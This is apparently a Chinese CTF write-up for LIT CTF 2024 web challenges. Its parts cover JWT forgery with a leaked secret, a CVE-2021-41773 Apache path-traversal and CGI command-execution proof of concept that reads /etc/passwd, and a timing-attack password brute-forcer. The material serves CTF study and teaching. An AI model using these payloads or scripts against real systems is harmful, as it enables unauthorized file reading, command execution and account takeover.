一个不算太难的国际赛
anti-inspect
题目描述:can you find the answer? WARNING: do not open the link your computer will not enjoy it much.
Hint: If your flag does not work, think about how to style the output of console.log
开题,链接开了浏览器就卡死。
curl一下看看是个什么脏东西
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Document</title>
</head>
<body>
<script>
const flag = "LITCTF{your_%cfOund_teh_fI@g_94932}";
while (true)
console.log(
flag,
"background-color: darkblue; color: white; font-style: italic; border: 5px solid hotpink; font-size: 2em;"
);
</script>
</body>
</html>
可以看到源码一直while true,死循环执行,导致浏览器卡死。
看一下html源码,const flag = "LITCTF{your_%cfOund_teh_fI@g_94932}";
,去掉%c就是flag
LITCTF{your_fOund_teh_fI@g_94932}
jwt-1
题目描述:I just made a website. Since cookies seem to be a thing of the old days, I updated my authentication! With these modern web technologies, I will never have to deal with sessions again.
开题
应该是需要注册登录,先注册个账号登录看看 Jay17/111
登陆后多了个Cookie,是个JWT
尝试爆破密钥进行JWT伪造,使得自己的身份为admin,但是爆破到6位都没结果。猜测后端不进行密钥验证
进行身份伪造
猜对了,还真不进行密钥验证,拿flag
jwt-2
题目描述:its like jwt-1 but this one is harder
类似上一题,开题
登录注册类似上一题,还是给了一个JWT
这题给了附件,是ts源码,直接暴露了密钥是xook
import express from "express"; // 引入Express框架,用于创建Web服务器
import cookieParser from "cookie-parser"; // 引入cookie解析中间件,用于解析请求中的cookie
import path from "path"; // 引入path模块,用于处理和转换文件路径
import fs from "fs"; // 引入文件系统模块,用于文件操作(读写)
import crypto from "crypto"; // 引入加密模块,用于生成和验证JWT签名
// 初始化一个空数组,用于存储用户账户信息(用户名和密码的二元组)
const accounts: [string, string][] = [];
// 定义JWT签名所需的秘密密钥
const jwtSecret = "xook";
// 创建JWT的头部(包含算法和类型),然后将其转换为Base64编码,并去掉填充符号"="
const jwtHeader = Buffer.from(
JSON.stringify({ alg: "HS256", typ: "JWT" }), // JWT头部,指定使用HS256算法
"utf-8"
)
.toString("base64") // 将头部转换为Base64编码
.replace(/=/g, ""); // 去掉Base64编码中的填充符号"="
// 定义一个函数,用于生成JWT签名
const sign = (payload: object) => {
// 将JWT的payload部分(用户数据)转换为Base64编码,并去掉填充符号"="
const jwtPayload = Buffer.from(JSON.stringify(payload), "utf-8")
.toString("base64")
.replace(/=/g, "");
// 生成签名(使用HS256算法),将头部和payload拼接起来并使用秘密密钥加密
const signature = crypto
.createHmac('sha256', jwtSecret) // 创建HMAC对象,使用SHA256算法和秘密密钥
.update(jwtHeader + '.' + jwtPayload) // 将头部和payload连接起来作为签名的输入
.digest('base64') // 生成签名并转换为Base64编码
.replace(/=/g, ''); // 去掉填充符号"="
// 返回完整的JWT字符串(格式:header.payload.signature)
return jwtHeader + "." + jwtPayload + "." + signature;
}
// 创建一个Express应用实例
const app = express();
// 设置服务器监听的端口(优先使用环境变量中的PORT值,默认3000)
const port = process.env.PORT || 3000;
// 启动服务器并监听指定端口,成功启动后在控制台输出信息
app.listen(port, () =>
console.log("server up on http://localhost:" + port.toString())
);
// 使用cookieParser中间件,解析请求中的cookie
app.use(cookieParser());
// 使用express.urlencoded中间件,解析URL编码的数据(通常是表单提交的数据)
app.use(express.urlencoded({ extended: true }));
// 提供静态文件服务,将"site"目录中的文件暴露给客户端
app.use(express.static(path.join(__dirname, "site")));
// 定义处理GET请求的路由,路径为"/flag"
app.get("/flag", (req, res) => {
// 如果请求中没有包含"token" cookie,则认为用户未授权
if (!req.cookies.token) {
console.log('no auth'); // 在服务器控制台输出调试信息
return res.status(403).send("Unauthorized"); // 返回403状态码和"Unauthorized"消息
}
try {
const token = req.cookies.token; // 获取用户的JWT(从cookie中)
const [header, payload, signature] = token.split("."); // 将JWT分割为头部、payload和签名
if (!header || !payload || !signature) {
// 如果JWT格式不正确,返回403状态码和"Unauthorized"消息
return res.status(403).send("Unauthorized");
}
Buffer.from(header, "base64").toString(); // 解码头部(实际未使用,仅解码)
const decodedPayload = Buffer.from(payload, "base64").toString(); // 解码payload
const parsedPayload = JSON.parse(decodedPayload); // 将解码后的payload转换为对象
// 重新计算预期的签名,以确保JWT未被篡改
const expectedSignature = crypto
.createHmac('sha256', jwtSecret)
.update(header + '.' + payload)
.digest('base64')
.replace(/=/g, '');
// 如果计算的签名与JWT中的签名不匹配,返回403状态码和"Unauthorized"消息
if (signature !== expectedSignature) {
return res.status(403).send('Unauthorized ;)');
}
// 如果JWT的payload中包含"admin"字段为true,或者缺少"name"字段,认为用户有权访问
if (parsedPayload.admin || !("name" in parsedPayload)) {
return res.send(
fs.readFileSync(path.join(__dirname, "flag.txt"), "utf-8") // 读取并返回flag.txt的内容
);
} else {
// 如果用户没有管理员权限,返回403状态码和"Unauthorized"消息
return res.status(403).send("Unauthorized");
}
} catch {
// 如果在处理过程中出现任何错误,返回403状态码和"Unauthorized"消息
return res.status(403).send("Unauthorized");
}
});
// 定义处理POST请求的路由,路径为"/login"
app.post("/login", (req, res) => {
try {
const { username, password } = req.body; // 获取请求中的用户名和密码
if (!username || !password) {
// 如果用户名或密码缺失,返回400状态码和"Bad Request"消息
return res.status(400).send("Bad Request");
}
if (
accounts.find(
(account) => account[0] === username && account[1] === password // 查找是否存在匹配的账户
)
) {
const token = sign({ name: username, admin: false }); // 生成JWT,admin字段为false
res.cookie("token", token); // 将JWT存储在cookie中返回给客户端
return res.redirect("/"); // 重定向到主页
} else {
// 如果用户名或密码不正确,返回403状态码和"Account not found"消息
return res.status(403).send("Account not found");
}
} catch {
// 如果在处理过程中出现任何错误,返回400状态码和"Bad Request"消息
return res.status(400).send("Bad Request");
}
});
// 定义处理POST请求的路由,路径为"/signup"
app.post('/signup', (req, res) => {
try {
const { username, password } = req.body; // 获取请求中的用户名和密码
if (!username || !password) {
// 如果用户名或密码缺失,返回400状态码和"Bad Request"消息
return res.status(400).send('Bad Request');
}
if (accounts.find(account => account[0] === username)) {
// 如果用户名已经存在,返回400状态码和"Bad Request"消息
return res.status(400).send('Bad Request');
}
accounts.push([username, password]); // 将新的用户名和密码添加到账户列表中
const token = sign({ name: username, admin: false }); // 生成JWT,admin字段为false
res.cookie('token', token); // 将JWT存储在cookie中返回给客户端
return res.redirect('/'); // 重定向到主页
} catch {
// 如果在处理过程中出现任何错误,返回400状态码和"Bad Request"消息
return res.status(400).send('Bad Request');
}
});
直接JSON Web Tokens - jwt.io网站伪造jwt无法修改身份。看源码可以得知这题的JWT生成方式和常规有所不同,在题目的源码上进行修改,利用原有的JWT生成函数。
修改脚本以直接在控制台输出 JWT,而无需开启服务,删除与 Express 相关的代码,只保留生成 JWT 的部分,并在控制台打印 JWT。
import crypto from "crypto";
const jwtSecret = "xook";
const jwtHeader = Buffer.from(
JSON.stringify({ alg: "HS256", typ: "JWT" }),
"utf-8"
)
.toString("base64")
.replace(/=/g, "");
const sign = (payload: object) => {
const jwtPayload = Buffer.from(JSON.stringify(payload), "utf-8")
.toString("base64")
.replace(/=/g, "");
const signature = crypto.createHmac('sha256', jwtSecret).update(jwtHeader + '.' + jwtPayload).digest('base64').replace(/=/g, '');
return jwtHeader + "." + jwtPayload + "." + signature;
}
// 创建JWT token
const token = sign({ name: 'Jay17', admin: true });
// 输出JWT token到控制台
console.log("Generated JWT:", token);
运行下ts脚本:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiSmF5MTciLCJhZG1pbiI6dHJ1ZX0.CRuqLq/BGj/JWq//a9D6GLZFBghE4vZTaxVYYwDOeSY
traversed
题目描述:I made this website! you can't see anything else though... right??
开题:
dirsearch扫一下,很明显的CVE-2021-41773
漏洞版本:Apache 2.4.49
Apache Httpd Server 路径穿越漏洞
Httpd(即 HTTP Daemon ,超文本传输协议守护程序的简称)是一款运行于网页服务器后台,等待传入服务器请求的软件。HTTP 守护程序能自动回应服务器请求,并使用 HTTP 协议传送超文本及多媒体内容。
==漏洞简介:==
Apache HTTPd 是Apache基金会开源的一款HTTP服务器。2021年10月8日Apache HTTPd官方发布安全更新,披露CVE-2021-41773 Apache HTTPd 2.4.49 路径穿越漏洞。攻击者利用这个漏洞,可以读取到Apache服务器web目录以外的其他文件,或读取web中的脚本源码,如果服务器开启CGI或cgid服务,攻击者可进行任意代码执行。影响版本是Apache HTTP Server 2.4.49。因为修复不完整,在版本Apache HTTP Server 2.4.50任有影响 ( CVE-2021-42013)
==漏洞原理简介:==
在 Apache HTTP Server 2.4.49 版本中,在对用户发送的请求中的路径参数进行规范化时,其使用的 ap_normalize_path()
函数会对路径参数先进行 url 解码,然后判断是否存在 ../
路径穿越符。
当检测到路径中存在 %
字符时,若其紧跟的两个字符是十六进制字符,则程序会对其进行 url 解码,将其转换成标准字符,如 %2e
会被转换为 .
。若转换后的标准字符为 .
,此时程序会立即判断其后两字符是否为 ./
,从而判断是否存在未经允许的 ../
路径穿越行为。
如果路径中存在 %2e./
形式,程序就会检测到路径穿越符。然而,当出现 .%2e/
或 %2e%2e/
形式,程序就不会将其检测为路径穿越符。原因是遍历到第一个 .
字符时,程序检测到其后两字符为 %2
而不是 ./
,就不会将其判断为 ../
。因此,攻击者可以使用 .%2e/
或 %2e%2e/
绕过程序对路径穿越符的检测,从而读取位于 Apache 服务器 web 目录以外的其他文件,或者读取 web 目录中的脚本文件源码,或者在开启了 cgi 或 cgid 的服务器上执行任意命令。本质上,这一漏洞属于代码层面的逻辑漏洞。
==漏洞复现:==
复现使用的是vulhub的环境,位于/vulhub/httpd/CVE-2021-41773
。复现使用的工具是Burp,也可以直接curl.............进行漏洞利用。
执行docker-compose up -d
启动漏洞环境。访问127.0.0.1:8080 若显示It works!
则漏洞环境部署成功。
先进行抓包。然后进行改包。
目录穿越 poc:
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
RCE poc:
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
...
...
...
...
...
...
echo; ls(要执行的命令)
代码层原理参考:【原创】Apache httpd CVE-2021-41773 漏洞分析 - FreeBuf网络安全行业门户
对于本题来说,无法RCE,只能读取文件。读当前目录下flag.txt
/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/proc/self/cwd/flag.txt
/proc/self表示当前进程目录
cwd 文件是一个指向当前进程运行目录的符号链接。可以通过查看cwd文件获取目标指定进程环境的运行目录。
/proc/self/cwd相当于当前目录
kirbytime
题目描述:Welcome to Kirby's Website.
附件:
import sqlite3 # 导入sqlite3模块,用于与SQLite数据库进行交互
from flask import Flask, request, redirect, render_template # 从Flask框架中导入Flask类以及request, redirect, render_template函数
import time # 导入time模块,用于引入时间延迟
app = Flask(__name__) # 创建一个Flask应用实例,__name__指的是当前模块的名称
@app.route('/', methods=['GET', 'POST']) # 定义路由,处理根路径的请求,支持GET和POST方法
def login(): # 定义login函数来处理请求
message = None # 初始化消息变量为空,用于后续存储提示信息
if request.method == 'POST': # 如果请求方法是POST
password = request.form['password'] # 从表单数据中获取用户提交的密码
real = 'REDACTED' # 真实密码(已屏蔽)存储在real变量中
if len(password) != 7: # 如果密码长度不为7
return render_template('login.html', message="you need 7 chars") # 返回登录页面并显示“you need 7 chars”提示
for i in range(len(password)): # 遍历用户输入的密码每一位字符
if password[i] != real[i]: # 如果当前字符与真实密码对应位置的字符不匹配
message = "incorrect" # 设置消息为“incorrect”
return render_template('login.html', message=message) # 返回登录页面并显示错误提示信息
else: # 如果当前字符匹配
time.sleep(1) # 引入1秒的延迟,模拟耗时操作
if password == real: # 如果整个密码都匹配
message = "yayy! hi kirby" # 设置成功登录的信息
return render_template('login.html', message=message) # 最后返回登录页面,并显示消息
if __name__ == '__main__': # 如果当前脚本作为主程序运行
app.run(host='0.0.0.0') # 启动Flask开发服务器,监听所有可用的网络接口
可以看到,源码是将用户输入的密码和真实密码逐位匹配,每位匹配成功后会有1秒的sleep。基于此,我们就可以从第一位开始,通过延时判断密码是否正确,逐个字符盲注出密码。比如:
aaaaaaa
Jaaaaaa
Jaaaaaa
Jayaaaa
....
开题:
开不了了,复现的时候靶机不能起了呜呜呜
这里放一下Z3r4y师傅的POC
原文:【Web】LIT CTF 2024 题解(全)-CSDN博客
import requests # 导入requests库,用于发送HTTP请求
import string # 导入string模块,提供常用字符集(如字母、数字)
import time # 导入time模块,用于时间测量和延迟
# 目标 URL
url = 'http://34.31.154.223:50350/' # 定义目标服务器的URL地址,应该替换为实际目标的URL
# 扩展字符集(包括小写字母、大写字母、数字和常见特殊符号)
charset = string.ascii_letters + string.digits + "!@#$%^&*()-=_+[]{}|;:,.<>/?~"
# 定义一个字符集,包含所有小写和大写字母、数字以及一些常见特殊符号,用于密码猜测
# 密码长度
password_length = 7 # 定义密码的长度,这里假设密码长度为7
# 初始猜测密码
known_password = ['a'] * password_length # 初始化一个已知密码列表,初始值为['a', 'a', 'a', 'a', 'a', 'a', 'a']
def check_password(password):
"""检查密码并返回响应时间"""
start_time = time.time() # 记录开始时间
response = requests.post(url, data={'password': password}) # 发送POST请求,提交密码
end_time = time.time() # 记录结束时间
response_time = end_time - start_time # 计算请求的响应时间
print(f"Trying password: {password}, Response Time: {response_time:.2f}s") # 打印当前尝试的密码和响应时间
return response_time # 返回响应时间
def find_password():
# 逐字符定位密码
for pos in range(password_length): # 遍历密码的每一个字符位置
print(f"Finding character for position {pos}...") # 打印当前处理的位置
for char in charset: # 遍历字符集中的每一个字符
known_password[pos] = char # 尝试将当前字符放在密码的当前位置
current_guess = ''.join(known_password) # 将已知密码列表转化为字符串作为当前猜测
response_time = check_password(current_guess) # 检查当前猜测的密码,获取响应时间
# 动态计算阈值,根据字符位置动态设置
threshold = 1.2 + pos * 1.0 # 根据字符的位置动态计算响应时间的阈值,阈值逐渐增加
print(f"Response Time for {char} at position {pos}: {response_time:.2f}s, Threshold: {threshold:.2f}s")
if response_time > threshold: # 如果响应时间超过了阈值,说明当前字符可能正确
print(f"Character at position {pos} fixed as: {char}") # 确认当前字符是正确的
break # 结束当前字符位置的猜测,继续下一个位置
else:
# 如果没有找到合适的字符,重置当前位置并尝试其他字符
known_password[pos] = 'a' # 如果未找到正确的字符,将当前位置的字符重置为 'a'
print(f"Failed to fix character at position {pos}") # 打印错误消息
print(f"Known password so far: {''.join(known_password)}") # 打印当前已知的部分密码
return ''.join(known_password) # 返回找到的密码
# 开始破解
if __name__ == '__main__': # 如果此脚本作为主程序运行
start_time = time.time() # 记录破解开始时间
found_password = find_password() # 调用find_password函数进行破解
end_time = time.time() # 记录破解结束时间
elapsed_time = end_time - start_time # 计算破解总耗时
if found_password: # 如果找到密码
print(f"Final password: {found_password}") # 打印最终找到的密码
print(f"Time taken: {elapsed_time:.2f} seconds") # 打印破解所用时间
# 使用找到的密码进行登录
response = requests.post(url, data={'password': found_password}) # 发送POST请求,提交找到的密码
if response.status_code == 200: # 如果服务器响应状态码为200,表示登录成功
print("Login successful!") # 打印登录成功的消息
print("Response from server:") # 打印服务器的响应内容
print(response.text) # 打印服务器的完整响应内容
else:
print("Login failed.") # 如果状态码不是200,表示登录失败
else:
print("Password not found.") # 如果未找到密码,打印未找到的消息
flag是得到的密码包上LITCTF{}
字符串
scrainbow
题目描述:Oh no! someone dropped my perfect gradient and it shattered into 10000 pieces! I can't figure out how to put it back together anymore, it never looks quite right. Can you help me fix it?
开题:
100*100的矩阵,工作量还挺大,写脚本吧。
初始的色块数据存储在/data
路由
如果我们进行了交换操作,点击验证后会发送我们对那些色块进行了交换:
理解了怎么和后端交互的,我们就开始写脚本,有时候提示词真的是很重要的一项技能
import requests # 导入requests库,用于发送HTTP请求
response = requests.get('http://litctf.org:31780/data') # 向指定URL发送GET请求,获取色块数据
response_data = response.json() # 假设服务器返回了一个包含10000个色块的JSON列表,将其解析为Python列表
# 定义一个函数,用于将十六进制的RGB颜色转换为HSL颜色空间
def convert_rgb_to_hsl(hex_color):
hex_color = hex_color.lstrip('#') # 去掉颜色字符串前面的'#'符号
red, green, blue = int(hex_color[:2], 16), int(hex_color[2:4], 16), int(hex_color[4:], 16) # 将RGB的十六进制部分转换为十进制
red, green, blue = red / 255.0, green / 255.0, blue / 255.0 # 将RGB的值归一化为0到1之间
max_val = max(red, green, blue) # 获取最大RGB值
min_val = min(red, green, blue) # 获取最小RGB值
diff = max_val - min_val # 计算最大值和最小值的差值
# 根据最大值的颜色通道计算色相(Hue)
hue_map = {
red: (60 * ((green - blue) / diff) + 360) % 360,
green: (60 * ((blue - red) / diff) + 120) % 360,
blue: (60 * ((red - green) / diff) + 240) % 360
}
hue = 0 if max_val == min_val else hue_map[max_val] # 如果最大值和最小值相等,色相为0,否则根据最大值计算色相
saturation = 0 if max_val == 0 else diff / max_val # 如果最大值为0,饱和度为0,否则计算饱和度
lightness = (max_val + min_val) / 2 # 计算亮度(Lightness)
return hue, saturation, lightness # 返回色相、饱和度和亮度
# 创建一个字典,用于根据色相对颜色进行分类
hue_map = {}
for index, hex_color in enumerate(response_data): # 遍历获取的色块数据
hue, saturation, lightness = convert_rgb_to_hsl(hex_color) # 将每个色块的颜色从RGB转换为HSL
if hue not in hue_map: # 如果该色相还没有出现在字典中
hue_map[hue] = [] # 初始化该色相对应的列表
hue_map[hue].append(index) # 将色块的索引添加到相应色相的列表中
# 根据色相对颜色进行排序
sorted_colors = [index_list for hue, index_list in sorted(hue_map.items(), key=lambda item: item[0])] # 按照色相对所有颜色的索引进行排序
target_order = [] # 初始化目标顺序的列表
for x in range(100): # 遍历每一行
for y in range(100): # 遍历每一列
target_order.append(sorted_colors[x + y].pop()) # 从已排序的颜色中按顺序取出并添加到目标顺序中
# 计算从当前顺序到目标顺序所需的交换操作
movements = []
current_order = list(range(len(response_data))) # 初始化当前顺序为0到9999
for position in range(len(target_order)): # 遍历目标顺序中的每个位置
if current_order[position] == target_order[position]: # 如果当前位置已经是目标位置,则跳过
continue
src, dest = position, current_order.index(target_order[position]) # 找到需要交换的源位置和目标位置
movements.append((src, dest)) # 记录交换操作
current_order[src], current_order[dest] = current_order[dest], current_order[src] # 执行交换,更新当前顺序
# 将计算出的交换操作提交到服务器
result = requests.post('http://litctf.org:31780/test', json={'data': movements}, verify=False) # 发送POST请求,将交换操作提交到服务器
# 输出服务器的响应,进行中文交互
if result.ok: # 如果请求成功
print("交换操作执行成功:", result.text) # 打印成功消息和服务器返回的文本
else: # 如果请求失败
print("交换操作执行失败:", result.status_code, result.text) # 打印失败消息和服务器返回的状态码及文本